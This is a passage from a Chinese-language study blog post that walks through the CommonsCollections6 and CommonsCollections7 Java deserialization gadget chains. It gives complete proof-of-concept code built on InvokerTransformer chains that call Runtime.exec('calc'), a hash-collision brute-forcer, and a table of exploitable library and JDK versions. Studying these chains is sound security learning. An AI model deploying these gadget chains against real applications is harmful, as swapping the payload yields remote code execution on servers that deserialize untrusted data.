        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

CommonsCollections6

版本

jdk没有版本限制

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

chain

    /*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/

无法序列化解决方法

直接这样写

ChainedTransformer chain=getChainedTransformer();
Map lazymap= LazyMap.decorate(new HashMap(),chain);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
HashSet hashSet=new HashSet();
hashSet.add(tiedMapEntry);
deserialize(serialize(hashSet));

会报错
20220418114813
因为序列化前会多put一遍,把java.lang.ProcessImpl也给序列化了,但是它是not serializable的。

debug就不赘述了,可以拜读文末phtihon的大作

加一句lazymap.remove(1);即可

package learn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonsCollections6 extends tools.tool{
    /*
	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()
    by @matthias_kaiser
*/
    public static void main(String[] args) {
        ChainedTransformer chain=getChainedTransformer();
        Map lazymap= LazyMap.decorate(new HashMap(),chain);
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap,1);
        HashSet hashSet=new HashSet();
        hashSet.add(tiedMapEntry);
//        lazymap.remove(1);
        deserialize(serialize(hashSet));
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

CommonsCollections7

这个链还是挺绕的

版本

jdk无限制

CommonsCollections 3.1 - 3.2.1

chain

   /*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

先放POC

package learn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.*;


public class CommonsCollections7 extends tools.tool{
    /*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/
    public static void main(String[] args) {
        ChainedTransformer chain=getChainedTransformer();

        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map map1 = LazyMap.decorate(hashMap1, chain);
        map1.put("00", 1);
        Map map2 = LazyMap.decorate(hashMap2, chain);
        map2.put(".n", 1);
        Hashtable hashtable = new Hashtable();
        hashtable.put(map1, 1);
        hashtable.put(map2, 1);
        map2.remove("00");
        deserialize(serialize(hashtable));
    }
    static ChainedTransformer getChainedTransformer(){
        ConstantTransformer ct=new ConstantTransformer(Runtime.class);

        InvokerTransformer it1=new InvokerTransformer(
                "getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it2=new InvokerTransformer(
                "invoke",
                new Class[]{Object.class,Object[].class},
                new Object[]{"getRuntime",new Class[0]}
        );
        InvokerTransformer it_exec=new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc"}
        );
        Transformer[] a=new Transformer[]{ct,it1,it2,it_exec};
        ChainedTransformer chain=new ChainedTransformer(a);
        return chain;
    }
}

为什么要put两个lazymap

因为为了进reconstitutionPut for循环,tab需要不为空。tab其实就是hashtable,entry是单链,动调发现put两个的时候能让tab不为空
20220418141001

哈希碰撞

if这一行由于用&&连接,左边为false就不会执行右边。这两个hash对应当前key和上一个key的hashcode。
20220418141132
这里key我们选择的是String,观察String.hashCode()

public int hashCode() {
    int h = hash;
    if (h == 0 && value.length > 0) {
        char val[] = value;

        for (int i = 0; i < value.length; i++) {
            h = 31 * h + val[i];
        }
        hash = h;
    }
    return h;
}

爆破两位就可

package learn;

public class HashCollision {
    static String dict="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r";
    public static void main(String[] args) {
        int len=dict.length();
        for(int a1=0;a1<len;a1++){
            for(int a2=0;a2<len;a2++){
                for(int b1=0;b1<len;b1++){
                    for(int b2=0;b2<len;b2++){
                        if(a1!=b1&&a2!=b2){
                            String s1=get(a1)+get(a2);
                            String s2=get(b1)+get(b2);
                            if(s1.hashCode()==s2.hashCode()){
                                System.out.println(s1+"\n"+s2);
                                return;
                            }
                        }
                    }
                }
            }
        }
        System.out.println("fuck");

    }
    static String get(int i){
        return  String.valueOf(dict.charAt(i));
    }
}

为什么map2.remove("00");

其实和上面的CommonsCollections6一样道理,hashtable.put(map2, 1);这一行也会调用lazymap.get,从而多加了一个带着processImpl的元素,不能序列化。
20220418132410

利用版本总览

copied from https://blog.51cto.com/u_15127645/4535685

CommonsCollections Gadget Chains CommonsCollection Version JDK Version Note
CommonsCollections1 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用)
CommonsCollections2 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections3 CommonsCollections 3.1 - 3.2.1 1.7 (8u71之后已修复不可利用) javassist
CommonsCollections4 CommonsCollections 4.0 暂无限制 javassist
CommonsCollections5 CommonsCollections 3.1 - 3.2.1 1.8 8u76(实测8u181也可)
CommonsCollections6 CommonsCollections 3.1 - 3.2.1 暂无限制
CommonsCollections7 CommonsCollections 3.1 - 3.2.1 暂无限制

完结撒花

陆陆续续写了一个星期,算是大功告成了。

其实,CommonsCollections链到后面都是重组+加一点新的类,所以其实最痛苦的还是刚开始不熟练的时候。

当然,我这里只是看着别人的链抄一抄,调一调bug,还没到真正挖链子的水平。但不管怎样,现在写java顺多了,虽然还是很菜,但至少不像以前毫无头绪。

参考
https://github.com/frohoff/ysoserial/
https://www.anquanke.com/post/id/261724#h2-11
https://blog.csdn.net/xd_2021/article/details/121962921
https://silente.top/archives/java-cc链1-学习/
https://blog.csdn.net/Happy_LH/article/details/111885275
https://www.anquanke.com/post/id/219840#h2-0
https://mp.weixin.qq.com/s/AjCngDFNE2wT9JvajMMxTA
https://blog.51cto.com/u_15127645/4535685

posted @ 2022-04-13 17:53  KingBridge  阅读(226)  评论(0编辑  收藏  举报